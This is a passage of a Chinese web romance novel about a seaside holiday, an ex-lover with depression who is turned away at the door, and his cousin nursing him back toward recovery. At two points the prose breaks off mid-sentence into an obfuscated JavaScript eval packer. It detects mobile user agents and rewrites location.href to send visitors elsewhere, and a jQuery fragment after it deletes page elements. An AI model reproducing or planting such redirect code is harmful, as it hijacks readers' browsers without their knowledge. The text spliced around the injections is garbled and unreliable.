周冉听完,面无表情地拿起旁边的冰水喝了一口,然后抬眼,看向秦朗,非常冷静:“医生说我血糖高,不能听这些。” 秦朗:“……???” 南景这次彻底忍不住了,别过脸去,肩膀微微耸动,显然笑得不行。 周冉看着秦朗瞬间石化的表情,终于也绷不住,“噗嗤”一声笑了出来,眉眼弯弯,在阳光下生动得耀眼。她踢了踢秦朗的小腿:“行了,别演了,鸡皮疙瘩都起来了。快吃饭!下午我还要去浮潜!” “好嘞!”秦朗见她笑了,立刻多云转晴,狗腿地又给她夹菜,“多吃点,才有力气玩!” 角落里,邵既明透过墨镜,看着南景脸上轻松的笑意。 他在这里,像个卑劣的偷窥者,承受着炼狱般的煎熬。 邵既明低下头,墨镜掩住了他所有破碎的情绪。他端起那杯冰水,手抖得厉害,水晃出来大半。他勉强送到唇边,抿了一口。 接下来的几天,时光仿佛被热带阳光和海浪声浸泡得绵软悠长,每一刻都浸透着纯粹的放松与欢笑。秦朗彻底将“人形钱包、摄影师、导游”三位一体的角色扮演到了极致,且乐在其中。 秦朗的存在感首先体现在无处不在的消费上,且姿态无比自然,仿佛他生来就是为了给周冉和南景花钱的。出海包下最宽敞舒适的私人游艇,船长和水手服务周到,冰镇香槟和顶级刺身随时供应。 浮潜要去最偏远、生态保护最好、价格也最令人咋舌的珊瑚礁海域,全套顶级浮潜装备崭新备用。海钓直接请了岛上最有经验的钓手随行指导,用的渔具足以让专业人士眼红。晚餐永远在需要提前数月预订的悬崖餐厅或私密性绝佳的沙滩烛光晚宴。 每当周冉挑起眉毛,用“万恶的资本家”的眼神看他时,秦朗总是笑眯眯地晃着手机:“没事,刷我滴卡~就当投资了,投资冉冉女王的快乐回忆,收益率无限,稳赚不赔!” 秦朗对这座岛屿的熟悉程度令人惊讶。“这边,我知道有条小路通到一片绝美的秘密沙滩,沙子比面粉还细,而且绝对没人!”“明天早上涨潮的时候,东边那个礁石滩能捡到特别漂亮的鹦鹉螺化石,不过得早起,我五点叫你?” “那家看起来破破的路边摊,他家的椰子咖喱蟹是全岛一绝,我让老板留了最大的青蟹,晚饭去那儿?”他总能避开游客扎堆的地方,找到最具风味又舒适的所在,完全契合周冉“既要玩得嗨又不能累成狗”和南景“适度放松享受宁静”的双重需求。 连南景都忍不住调侃:“秦总,你以前是不是在这里做过地陪?” 秦朗一边给周冉的检查防晒霜,一边头也不抬地回答:“那倒没有。主要是钞能力加上……提前做了点功课。”他晃了晃手机里密密麻麻的备忘录和标注了星标的地图,“知己知彼,百战不殆嘛。哦,我是说,了解目的地,才能提供最佳服务。” 摄影师·秦朗这是他最心机也最得意的角色。他不知从哪里搞来一套专业级别的单反和防水相机,挂在脖子上,镜头仿佛长在了周冉和南景身上。他的拍摄技术 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南景则通常只是含笑看着,偶尔在秦朗把镜头对准他时,温和地摆摆手,或者配合地给出一个浅淡的笑容。秦朗会悄悄对南景竖起大拇指,用口型说:“帅!” “这张!南景沉思侧颜杀,妥妥的杂志封面!”“哇哦!这张我们三个的合照绝了!可以取名《海岛三剑客》或者《女富豪与他的保镖们》……哎哟!” 通常以周冉的抱枕攻击和南景无奈的笑声告终。 除了这些“职能”发挥,秦朗本身也是个极佳的玩伴。他潜水技术娴熟,能牵着有点怕深的周冉慢慢适应,指给她看藏在珊瑚里的小丑鱼和海龟。他耐心教南景海钓的技巧,虽然南景更享受宁静等待的过程而非收获。他能在周冉嚷嚷着要吃遍岛上所有网红冰淇淋时,毫无怨言地顶着烈日一家家买回来。 他甚至细心到记住了周冉喝椰子汁喜欢加一点青柠汁,别墅的冰箱里永远塞满他们爱吃的水果和零食,沙滩包里的防晒霜、驱蚊液、毛巾永远在最顺手的位置。 他的存在,无孔不入,将一切琐碎和可能的不便都提前解决,只留下最纯粹的享受。 周冉嘴上依然不饶人,骂他“跟屁虫”、“显眼包”、“钱多烧的”,但眼底的笑意和越来越放松的姿态骗不了人。南景则将秦朗的付出看在眼里,偶尔会在周冉又对秦朗毒舌时,温和地替他说句话:“秦朗挺用心的。”换来秦朗一个感激涕零的眼神。 这天下午,他们从一片宛如玻璃海的浅湾浮潜回来,收获了一脑子五彩斑斓的珊瑚和鱼群记忆。回到别墅冲洗完毕,周冉瘫在泳池边的躺椅上,戴着墨镜,啜饮着秦朗刚递过来的、插着小纸伞的菠萝冰沙,舒坦地叹了口气。 “啧,秦朗,”她懒洋洋地开口,“你这服务,到位是到位,就是让人觉得……有点不真实。跟做梦似的。你说,要是哪天你这人形钱包功能失灵了,或者导游脑子宕机了,摄影师手抖了,可怎么办啊?” 秦朗正蹲在一边,仔细地用淡水冲洗刚才下水用的相机设备,闻言抬头,阳光落在他还湿着的头发上,亮晶晶的。他咧嘴一笑,露出白牙:“那怕什么?钱包失灵了,我就去抢银行……哦不,是努力赚钱。导游宕机了,就跟着冉冉女王走,你去哪儿我去哪儿,迷路了也是浪漫。摄影师手抖了……”他顿了顿,眼神变得异常认真,看着周冉墨镜后模糊的眼睛,“我就用眼睛记住,记在心里,记一辈子。保证比任何相机都清晰,不会褪色。” 周冉咬着吸管的动作停了一下,墨镜挡住了她瞬间翻涌的情绪。她别开脸,小声哼道:“油嘴滑舌。” 南景从屋里走出来,手里拿着平板,似乎刚处理完一点工作消息。他看到泳池边斗嘴的两人和旁边一堆摄影器材,笑了笑,对秦朗说:“秦总,这几天辛苦你了。照片拍得很好,行程也安排得特别舒服。” 秦朗立刻站起身,笑容灿烂:“不辛苦不辛苦!为人民服务!南景你喜欢就好!等回去我把照片和视频都整理好,精修一下,给你们做个电子相册,保证比旅行社的宣传片还精彩!” 夕阳开始西沉,将天空和海面染成温柔的橙红色。远处的海面上,有晚归的帆船缓缓驶过,剪影如画。 假期还在继续。阳光,沙滩,海浪,美食,还有身边不可或缺的、吵闹又温暖的陪伴。 29. 还有一位新病号 南景独自坐在客厅靠窗的软椅上,膝盖上放着笔记本电脑,屏幕的光映着他沉静的侧脸,他正浏览着一些行业资料。 “叮咚~叮咚~” 门铃声突兀地响起,南景抬腕看了眼手表,晚上八点半。他想起周冉和秦朗去了海滩享用浪漫双人餐,这个时间差不多该回来了,估计是周冉那丫头又丢三落四,忘了带门卡。 他合上电脑,起身,趿拉着柔软的亚麻拖鞋,穿过小院,走到别墅的木质院门前。没有多想,他伸手拉开了门。 门外站着的人,让他所有的动作和思绪,停顿了半秒。 邵既明。 他就站在院门透出的那一小片光晕边缘,身形在昏暗中显得愈发单薄伶仃。他穿着一件过于宽松的体恤,海风吹过,布料空荡荡地贴在身上,勾勒出肩胛骨和肋骨的清晰轮廓。脸色在灯光下是一种不健康的惨白,眼下的乌青浓得化不开,嘴唇干裂起皮,整个人瘦脱了形,唯有那双眼睛,在看见南景的瞬间,骤然爆发出一种濒死之人见到救命稻草般灼热到骇人的光,里面翻涌着无法掩饰的思念。 他手里小心翼翼地捧着一个白色的碗,碗口还冒着极其微弱的热气。他看到南景,喉咙滚动了一下,像是用了极大的力气,才从干涩的喉咙里挤出声音:“我……我看你没点晚餐……这边晚上海风大,吃凉的不好……给你叫了碗面……海鲜的,清淡……” 他的目光流连在南景脸上,捧着碗的手指尖却在细微地颤抖。 南景脸上的错愕只停留了不到一秒,便迅速褪去,他没有去接那碗面,甚至没有让开门口的位置,只是很淡地扫了一眼那只碗,然后视线重新落回邵既明脸上,声音没有任何起伏:“不用了。谢谢。” 说完,他没有任何犹豫,握住门把手,就要将门关上。 “等等!南景!”邵既明像是被这个关门动作刺激到,瞳孔骤缩。他几乎是想也没想,猛地伸出手,试图去挡住正在合拢的门板!他忘了手里还捧着那碗滚烫的面! “砰!” 沉重的实木门板结结实实地撞在了他伸出的手背上,紧接着是碗碟落地的清脆碎裂声“哐当!” 滚烫的面汤和面条溅了一地,也溅了些在他的裤脚和赤着的脚背上,瞬间留下红痕。但他似乎浑然不觉,所有注意力都集中在被门狠狠撞击、瞬间红肿起来、火辣辣刺痛的手背上。他痛得闷哼一声,身体晃了一下,却下意识地将受伤的手背到了身后。他抬起头,看向门内表情依旧没什么变化的南景,嘴唇哆嗦着,眼眶瞬间就红了,里面迅速积聚起水汽,声音抖得不成样子:“对、对不起……我……我就是怕你饿着……我没别的意思……真的……” 他哀伤地望着南景,那眼神里的思念浓得几乎要溢出来。然而,这浓烈的情感,撞上南景那双平静甚至带着淡淡厌倦的眼睛,只显得无比可笑。 南景看着他那副狼狈的样子,看着他背在身后微微颤抖的手,看着他眼中摇摇欲坠的泪水,心里没有一丝波澜,只有一种荒谬感。他不想问邵既明为什么在这里,不想知道他经历了什么,更不想去解读他这副情深不寿的表演。 “邵既明,你这样,真的很没意思。” 他顿了顿,看着邵既明骤然惨白的脸,继续道:“你越是这样,低声下气,作践自己,死缠烂打……就越让我觉得,过去那六年,我像个彻头彻尾的笑话。而我竟然,在那样的笑话里,待了整整六年。” 邵既明猛地摇头。 “南景……南景……”他嘴唇蠕动了半天,那些演练过无数遍的“对不起”到了嘴边,却被他硬生生咽了回去,因为他比谁都清楚,那三个字在南景这里,早已失去了所有重量。他搜肠刮肚,最终只能吐出最苍白、也最无力的乞求:“让我们……重新开始好不好?就当我们……刚刚认识……我重新追你,用一辈子对你好,补偿你……求你了,别推开我……我真的……真的好想你……想到你,我的心……就好痛好痛……像要被撕开了一样……” 南景静静地看着他卑微乞求的样子。曾经,这张脸上任何一丝细微的表情都能牵动他的心跳。此刻,却只让他感到一种陌生的漠然。 在令人窒息的沉默后,南景缓缓地吐出了一句话。 “邵既明,我突然发现,”他微微歪头,像是第一次真正地、不带任何滤镜地审视着眼前这个人,目光平静地扫过他消瘦憔悴的脸,红肿的手背,狼狈的泪痕,说道:“你好一般。” 邵既明整个人如遭雷击,猛地僵在原地,连哭泣都忘记了。他瞪大了眼睛,难以置信地看着南景,仿佛听不懂这句话的意思。 滤镜碎了。 南景用最平静的语气,告诉他:我不爱你了。不仅如此,我甚至觉得,褪去那层由误会、付出和时光镀上的金身后,你这个人,如此普通,如此……乏味。乏味到,连恨,都显得多余。 杀人诛心了啊。 “你在干嘛!!?” 一声带着怒气的女声骤然响起,周冉像一阵小旋风般从旁边的栈道冲了过来,她显然是跑过来,脸颊泛红,呼吸微促,身上还穿着晚餐时那条漂亮的碎花长裙。 她想也没想,冲到两人之间,猛地伸手,用尽全力狠狠推了邵既明一把! “滚开!离南景远点!” 邵既明猝不及防,本就虚弱不堪的身体被她推得踉跄着向后连退了好几步,差点摔倒在地上,幸好扶住了旁边的院墙才勉强站稳,但模样更加狼狈不堪。 “卧槽!冉冉!他罪不至死啊罪不至死!你下手轻点!”秦朗紧随其后跑过来,看到这一幕,头皮发麻,赶紧上前扶住摇摇欲坠的邵既明,又看了眼地上的一片狼藉和邵既明迅速肿起老高的手背,倒抽一口凉气。 “南小景!你没事吧?!”周冉根本不理秦朗,转身一把抓住南景的胳膊,上下打量,声音都变了调,“他有没有对你怎么样?啊?” 南景轻轻拍了拍她的手背,安抚地摇了摇头:“没事。你别担心。” 周冉这才稍稍松了口气,但怒火瞬间又窜了上来。她猛地转身,冰冷的目光扫过被秦朗扶着的邵既明,又狠狠瞪了秦朗一眼。 “一个合格的前任,就该跟死了一样!你体面地埋葬了他,他优雅地埋葬了你,从此阴阳两隔,永远不要有任何联系!这是对过去最基本的尊重,也是对你未来可能有的下一任,最基本的职业道德!” 她越说越气,胸脯微微起伏,指着邵既明的鼻子,毫不留情:“麻烦你有点职业道德行不行?!大晚上跑人家门口演什么苦情戏?给谁看呢?恶心谁呢?!妈的晦气!南景,我们走!看见脏东西了!” 说完,她不由分说,拉着南景的手腕,转身就往院子里走。 秦朗又看看眼神空洞绝望、仿佛被抽走了灵魂的邵既明,长长地、无奈地叹了口气。他今晚精心安排的悬崖落日晚餐,好不容易营造的浪漫气氛,刚刚牵到周冉小手的甜蜜……全泡汤了。他赶紧跟了过去,看着客厅的两人解释道。 “那个……他就是来养病的。” “什么病?红豆吃多了得的相思病啊?那赶紧去治!别在这儿传染别人!” “相思是其中之一……”秦朗硬着头皮,压低声音快速说道,“前段时间高烧,病毒感染引起心肌炎,差点就……人没了。在医院抢救过来的,瘦了二十多斤。我小姨,实在没办法了,求着我带他出来散散心,透透气,真没别的意思……” “呵,”周冉的冷笑一声,“我没什么道德,别想道德绑架我。他生病是他自己的事,又不是我们给他下的毒!真是吾日三省吾身,是不是我太客气了?是不是我给他脸了?是不是我杀得不够多?怪不得我就说这几天怎么老觉得背后凉飕飕的,跟有鬼似的,原来真有个背后灵在这儿盯着呢!” “好了,冉冉,我真没事。别气了。”南景温和的安抚声传来。 接着,是周冉气不过站起身就把秦朗往门外推。 “走走走!看见就烦!带着你的病弟弟,离我们远点!别再来碍眼!” “嘭!”客厅门被狠狠摔上。 秦朗站在院门外,看着紧闭的两道门,听着里面隐约传来周冉还在生气地数落什么、南景低声安慰的声音,只觉得一个头两个大。他叹了口气走到了别墅门口。 然而,当他借着院门外壁灯昏暗的光线,仔细看向邵既明的脸时,心里猛地咯噔一下。 邵既明没有哭出声。脸上还挂着未干的泪痕。但他的表情是空的。不是悲伤,不是痛苦,而是一种……万念俱灰、魂飞天外般的空茫。眼睛睁得很大,瞳孔却没有任何焦距,直勾勾地望着那扇紧闭的落地窗方向。嘴唇微微张开,呼吸轻得几乎听不见,整个人像一具被抽走了提线的木偶,了无生气。 “邵既明?”秦朗心里发慌,轻轻晃了晃他,“你没事吧?手是不是很疼?我们先回去,我给你处理一下……” 邵既明像是没听到,过了好几秒,眼珠才极其缓慢地动了一下,视线落在秦朗脸上。那目光空洞得吓人,没有任何情绪,只有一片死寂的灰败。他嘴唇嚅动了几下,声音轻飘飘的: “哥……” “他不爱我了。” 他说。没有疑问,只是陈述。语气平淡,却让秦朗瞬间毛骨悚然。 秦朗的心一下子沉到了谷底。这不是简单的失恋伤心,这不对劲,很不对劲。 “走走走,先回去,回去再说。”秦朗不敢再耽搁,几乎是半拖半抱地,将身形消瘦、此刻却沉重得像灌了铅的邵既明,往隔壁别墅的方向挪去。 秦朗费力地将邵既明弄到客厅的沙发上坐下。邵既明像一具被抽走了所有骨头的皮囊,软软地陷进柔软的沙发垫里,头无力地后仰,靠在沙发背上,眼睛依旧睁着,空洞地望着天花板,瞳孔里映着冷白的光点,却没有丝毫神采。他脸上未干的泪痕在昏暗光线下反着光,红肿的手背搁在膝盖上,已经肿得老高,皮肤透亮,但他似乎感觉不到疼痛,一动不动。 “操……”秦朗低骂一声,揉了揉发疼的太阳穴。他先快步走过去关上了门窗。 秦朗去厨房快速洗了手,从自己带来的医药箱里翻找出消肿镇痛喷雾、消毒湿巾和干净纱布。他拿着东西回到沙发边,在邵既明面前蹲下,试图去碰他受伤的手。 “手,给我看看。” 邵既明没有反应,目光依旧空洞地望着上方。 秦朗叹了口气,小心翼翼地伸出手,轻轻托起邵既明那只红肿不堪的手腕。秦朗用消毒湿巾小心翼翼地清理掉手背上沾染的少许污渍和已经干涸的面汤痕迹,动作尽量放轻。即使这样,当冰凉的湿巾碰到破皮红肿处时,邵既明还是轻颤了一下,但眼神依旧没有焦距。 秦朗心里一沉。他喷上消肿喷雾,白色的药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046480|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾覆盖在红肿的皮肤上。 “忍一下,不处理明天更麻烦。”秦朗低声说着,用纱布简单地缠绕了两圈,固定了一下,没有包得太紧。做完这些,他才稍微松了口气。 但邵既明的状态显然不止是手伤。他脸色苍白得吓人,嘴唇微微发紫,呼吸轻浅而急促,胸膛的起伏跟没有似得。 “既明?邵既明?”秦朗轻轻拍了拍他的脸颊。“能听见我说话吗?看着我。” 邵既明的眼珠极其缓慢地转动了一下,视线勉强落在秦朗脸上,但那目光依旧是散的,空的。他嘴唇嚅动了几下,发出一点气音,秦朗凑近了才听清,是极其微弱的、颠三倒四的重复: “不……爱了……” “一般……我好一般……” “笑话……六年……笑话……” 这绝对不是正常的伤心状态。他想起邵既明之前高烧昏迷、医院下病危通知时,秦凌萱哭着说的那些话“他不肯吃药,不肯吃饭,整天就是看着窗外,叫南景的名字……医生说他有抑郁倾向,很严重,再这样下去,人会垮的……” 当时秦朗还觉得是夸大其词,现在亲眼看到邵既明这副魂飞天外、自我认知完全崩坏的样子,他才真切地意识到问题的严重性。这不仅仅是失恋,这是精神世界的全面塌方。 “听着,邵既明,你看着我。我是秦朗,你哥。你生病了,知道吗?不只是身体,是这里。”他指了指自己的太阳穴,“你需要帮助,需要看医生,需要吃药,需要好好休息。南景他……南景他怎么样,那是他的事,是他的选择。但你不能因为他不要你了,你就不要你自己了!你听见没有?!” 邵既明呆呆地看着他,眼神依旧空洞,对秦朗的话没有任何反应,只是又极其轻微地、神经质地摇了摇头,嘴里重复着:“痛……这里好痛……”他另一只没受伤的手,无意识地攥紧了胸口的衣料。 秦朗知道,现在说什么大道理都没用。他深吸一口气,强迫自己冷静下来。当务之急是让邵既明从这种完全崩溃的状态里稍微回来一点,至少,要确保他身体不出问题。 “来,先喝点水。”秦朗起身去倒了杯温水,试了试温度,然后扶起邵既明,将杯子凑到他唇边。邵既明本能地抗拒了一下,嘴唇紧闭。秦朗耐着性子,低声哄着:“就喝一口,润润喉咙,你嘴唇都裂了。乖,喝一点。” 秦朗又喂他喝了几口,直到他摇头表示不喝了,才放下杯子。然后,他扶着邵既明慢慢躺下,让他以一个相对舒服的姿势靠在沙发里。 “你等一下,我去给你拿药。”秦朗记得小姨偷偷塞给他的一个小药盒,里面是邵既明在吃的抗抑郁和安神的药物,嘱咐他一定要看着邵既明按时吃。他快步走回自己卧室,从行李箱的夹层里找出那个白色的小药盒,又倒了杯水。 回到客厅,邵既明依旧维持着刚才的姿势,只是眼睛闭上了。 “既明,把药吃了。”秦朗按照说明书上的剂量,倒出几粒药片在手心,连同水杯一起递过去。 “不吃……没用……” “必须吃!”秦朗语气强硬起来,“这是医生开的,对你现在有好处。吃了药,好好睡一觉,明天……明天再说。听话!” 也许是秦朗难得的强硬起了作用,也许是邵既明真的已经耗尽所有力气去反抗。他缓缓睁开眼,目光涣散地看了看秦朗手心的药片,又看了看秦朗紧绷的脸,最终,极其缓慢地伸出手,指尖冰凉颤抖,拿起那几粒药,看也没看,就着秦朗递过来的水,一股脑吞了下去。吞咽的动作有些艰难,他蹙紧了眉头。 吃完药,重新闭上眼睛,身体微微蜷缩起来,像个缺乏安全感的孩子。 秦朗看着他这副样子,心里五味杂陈。他拿来一条薄毯,轻轻盖在邵既明身上。然后,他就在旁边的单人沙发上坐了下来,没有离开。 时间一分一秒地流逝。秦朗就那样守着,看着邵既明的呼吸渐渐变得绵长,紧蹙的眉头微微舒展开,但睡梦中依旧不安稳,睫毛不时颤动,嘴里偶尔会溢出几声模糊的呓语,听不真切,但无外乎是“南景”、“对不起”、“别走”之类的字眼。 秦朗疲惫地揉了揉眉心。他拿出手机,屏幕的光在昏暗的客厅里有些刺眼。他找到家庭医生的联系方式,犹豫了一下,还是发了一条信息,简单说明了邵既明目前的情况,询问是否需要调整药物或者有其他紧急建议。他知道国内现在是深夜,医生未必能立刻回复。 发完信息,他靠在沙发里,仰头看着天花板。 他忽然觉得无比疲惫。这趟原本计划中应该充满阳光、沙滩和追妻进度的海岛之旅,因为邵既明的突然出现和彻底崩溃,变得沉重。他理解南景和周冉的愤怒和抗拒,换作是他,恐怕反应会更激烈。但他也不能真的对邵既明不管不顾,毕竟是他表弟,毕竟……看着他从小一起长大的人变成现在这副模样,他心里不可能毫无触动。 不知过了多久,手机震动了一下。秦朗拿起来看,是家庭医生的回复,言辞谨慎,建议密切观察,确保按时服药,如果出现自伤倾向或持续的解离状态,需立即就医。并提醒抗抑郁药物起效需要时间,初期可能会有嗜睡、乏力等副作用,嘱咐多休息,补充营养。 秦朗回了句“谢谢”,放下手机。他看向沙发上的邵既明,药效似乎开始发挥作用,他睡得更沉了一些,只是脸色依旧苍白得透明。 30. 慢慢追妻之路 日头升到最高,秦朗惦记着隔壁别墅里可能还在生闷气的“女王大人”,草草处理了点工作,估摸着午饭时间,便晃悠着朝隔壁走去。 秦朗走到别墅门口,却发现院门虚掩着。他推门进去,院子里静悄悄的,只有泳池的水在阳光下泛着粼粼波光。他正要往里走,却看见两个穿着度假村制服的客房服务人员,正推着清洁车从主屋里出来,手里拿着换下的床单和垃圾袋。 秦朗心里“咯噔”一下,快步上前拦住其中一人:“打扰一下,这栋别墅的客人呢?” 客房服务员是个肤色黝黑的本地小伙,操着口音颇重的英语,礼貌地回答:“先生,这套别墅的客人已经在上午办理了退房手续,离开了。” “什么???”秦朗的声音陡然拔高,脸上的淡定瞬间碎裂。他顾不上礼仪,一把拨开服务员,大步冲进了别墅主屋。 客厅里收拾得异常整洁,茶几上插着的鲜花被换成了新的,空气中弥漫着清洁剂的淡香。秦朗心脏狂跳,他冲进主卧,空无一人,床铺平整。次卧同样空空如也。浴室、更衣间、甚至连露台……所有能藏人的角落都被他快速扫了一遍。 没有南景的行李,没有周冉那些瓶瓶罐罐的护肤品,没有随意丢在沙发上的披肩,没有……任何他们存在过的痕迹。就像一阵海风吹过,了无痕迹。 “卧槽!跑这么快?!”秦朗低吼一声,只觉得一股邪火直冲天灵盖。他立刻掏出手机,找到南景的号码拨过去。 “对不起,您所拨打的电话已关机,请稍后再拨……” 冰冷机械的女声传来。 他不死心,又打周冉的。 同样,关机。 秦朗狠狠踹了一脚旁边的沙发,在原地烦躁地转了两圈,头发被他抓得乱糟糟。他想起昨晚周冉那副杀气腾腾、恨不得立刻将他们扫地出门的样子,想起南景平静但疏离的眼神……是了,以周冉的脾气和南景的决绝,在发生昨晚那样的事情后,他们选择立刻离开,切断所有可能的纠缠,太正常了。正常到……让他心里发慌,也发苦。 他深吸几口气,强迫自己冷静下来。现在不是懊恼的时候,家里还有个更大的麻烦需要处理。他阴沉着脸,转身快步走回自己那栋别墅。 推开客厅的门,扑面而来的冷气让他打了个激灵。然后,他看到了坐在沙发上背对着门口的邵既明。 他听到开门声,极其缓慢地转过头,目光落在秦朗身上。他嘴唇嚅动了一下:“哥……南景他……怎么样了?” 他心心念念的,依然只有那个人。 秦朗看着他这副样子,心里那点因老婆跑了而起的邪火和对这病号弟弟的担忧烦躁交织在一起,让他脸色更难看了。他没有立刻回答,而是走到邵既明对面的沙发前,大马金刀带着一股狠劲坐了下去,身体前倾,手肘撑在膝盖上,目光如炬,仔仔细细、上下下下地打量着邵既明。 看了足足有半分钟,在邵既明被他看得几乎要不安地移开视线时,秦朗才忽然开口。 “你老婆,”他指了指自己,又指了指门外,“带着我老婆跑了。知道吗?我、老、婆、跑、了!” 他顿了顿,似乎在回味这个事实的荒诞性,补充道,语气更糟:“也可能……是我老婆,带着你老婆跑了。妈的,这关系真乱。” 邵既明被他这番话弄得愣了一下,似乎没太理解“老婆”这个称呼的指代,但“跑了”两个字他听懂了。他瞳孔骤缩:“跑……了?他……他们去哪了?” “我他妈怎么知道!”秦朗没好气地低吼,烦躁地扒拉了一下头发,“手机关机,人没影了,别墅都退得干干净净!你说能去哪?肯定是不想见我们,尤其是你!” 最后几个字,他说得毫不留情。 邵既明猛地低下头,肩膀剧烈地颤抖起来,喉咙里溢出破碎的哽咽。 秦朗看着他这副马上就要彻底碎掉的样子,心里那点烦躁被更强烈的担忧取代。这他妈的再刺激下去,邵既明可能真的就彻底垮了,药石罔效。他必须说点什么,哪怕只是歪理,也得先把人从悬崖边拉回来一点。 “邵既明,你是真放不下南景?非他不可了?哪怕他现在看你一眼都觉得烦,觉得你一般?” 邵既明没有抬头,只是用力地点了点头。 秦朗看着他那颗低垂的脑袋,心里明白,这人是钻进死胡同,撞了南墙也不回头了。他叹了口气,换了个姿势,身体往后靠进沙发里,翘起二郎腿,语气变得有点吊儿郎当:“行。你非要在一棵树上吊死,我也拦不住。但你想过没有,南景为什么说你一般?” 邵既明终于缓缓抬起头,满脸泪痕,眼神迷茫又痛苦地看着秦朗,摇了摇头。他是真的不明白,或者说,无法接受那个残酷的答案。 “因为你现在,真的很一般。”秦朗毫不客气,手指隔空点了点他,“不,是比一般还差劲。你看看你现在的样子,人不人鬼不鬼,瘦得跟麻杆似的,脸色惨白,眼圈乌黑,眼神空洞,整个人散发着‘我要死了’、‘离我远点’的晦气。你当年要是这副德行,南景估计看都不会多看你一眼,更别说跟你耗六年。别说什么心灵美?呸!那都是骗小女生的屁话!成年人的世界,尤其是南景现在这个状态,他更不会喜欢,也不会要一个病人,一个需要他反过来照顾、给他添堵的累赘。你明白吗?” 他愣愣地看着秦朗,嘴唇哆嗦着,想反驳,却发现对方说的每一个字,都是血淋淋的事实。现在的他,连自己都厌恶,何况是已经向前走的南景? “你得变回去,”秦朗继续道,“变回当年那个邵既明。不一定非要一模一样,但至少,得是个人样。意气风发不敢说,至少得收拾利索,精神点,像个活人。得是那个走出去,还能让人多看两眼的帅逼,懂吗?你得先让自己看起来值得被喜欢,才有资格谈什么心灵美、用一辈子补偿。你自己都垮了,烂了,谁他妈有功夫透过你邋遢的外表和要死要活的内在看你的真心?真心这玩意儿,是锦上添花,不是雪中送炭,尤其在你已经把炭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046481|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火烧成灰烬之后。” 邵既明呆呆地听着,空洞的眼神里,似乎有极其微弱的光,在艰难地挣扎、闪烁。秦朗的话虽然难听,却歪打正着地,戳中了他潜意识里某个被绝望掩盖的角落,是的,他不能这样下去。这样下去,别说挽回南景,他连站在对方面前的资格都没有,只会让对方更厌恶,更觉得一般,更觉得是负担和笑话。 “这就对了,”秦朗看到他眼神的变化,知道有戏,立刻趁热打铁,语气放缓了些,带着点过来人的经验之谈,“人家南景,刚刚被你伤透心,把最好的六年青春都搭给你了,现在好不容易喘过气,开始新生活。你别那么着急,跟个饿死鬼投胎似的扑上去,那只会把人吓跑,推得更远。你得学学我。” 秦朗指了指自己:“看见没?温水煮青蛙……啊呸,是细水长流,来日方长,默默陪伴。就像我追周冉,死皮赖脸,但该滚蛋的时候绝不多留一秒,主打一个招之即来挥之即去,存在感刷了,但绝不讨人嫌。好歹我现在混了个没名没分的陪伴,能待在十米之内,能一起吃饭,能牵个小手……这都是战略!懂不懂?” “你得先把自己养好,按时看医生,按时吃药,把身体和精神都调回来。然后,找准机会,偶尔出现一下,刷一下存在感,让他知道你还活着,而且活得人模狗样了。但记住,见好就收,该滚蛋就麻溜滚蛋,别留恋,别纠缠。你得让他慢慢习惯你的新存在,而不是害怕和厌烦你的旧阴影。你要是自己先垮了,弄残了,那我告诉你,南景百分百,立刻、马上,就是别人的了,你连在旁边看着的资格都没了。” 邵既明听得极其认真,每一个字都仿佛用尽全力在消化。他脸上的泪痕未干,眼神却不再是一片死寂的空洞,而是燃起了一小簇极其微弱火苗。虽然那火苗在绝望和病痛中摇曳不定,仿佛随时会熄灭,但至少,它亮了起来。 他极其用力地点了点头。 “我……知道了。” 他顿了顿,补充道,像是在对自己,也像是在对秦朗保证:“我会……按时去看医生。好好……吃药。” 秦朗看着他那双终于有了点人气的眼睛,心里那块一直悬着的巨石,终于稍微落下了一点点。这只是万里长征第一步,邵既明的抑郁症和心结不是几句话就能解决的,南景那边更是铜墙铁壁。但至少,这个把自己往死里折腾的傻弟弟,似乎愿意为了那个渺茫的重新被看见的可能,试着先把自己从泥潭里捞出来了。 “这就对了。”秦朗松了口气,身体也放松了些,重新靠回沙发里,拿起桌上自己那杯水喝了一口,“先把你自己收拾明白了再说。其他的,从长计议。日子还长着呢,急什么。” 邵既明低下头,看着自己依旧红肿但被妥善包扎过的手背,又缓缓抬起,摸了摸自己消瘦凹陷的脸颊。镜中的倒影狼狈不堪,但秦朗的话,像一根细微却坚韧的丝线,将他几乎飘散的灵魂,勉强地、暂时地,系回了这具残破的躯壳。 前路依然黑暗漫长,痛苦并未减少分毫。 31. 小明得大病 世界从炽热的蔚蓝与金黄,骤然切换成一片浩瀚无垠、耀眼夺目的纯白。巍峨的雪山在澄澈的蓝天下勾勒出冷硬而圣洁的轮廓,空气凛冽清新,每一次呼吸都带着冰晶的微刺感。 周冉穿着一身剪裁利落、衬得她身形格外高挑飒爽的白色滑雪服,戴着酷炫的哑光黑滑雪镜,整个人像雪原上的一道闪电。她单脚踩着滑雪板,灵活地在一个缓坡上做着回转,姿态娴熟优美,一边还不忘对着旁边初级道上那个略显笨拙的身影大声嘲笑: “哈哈哈!南小景!重心!重心往后!哎哟喂,小心屁股开花啊!要不要姐现在就去给你买个乌龟护臀垫?粉色带蝴蝶结的那种,特别配你!” 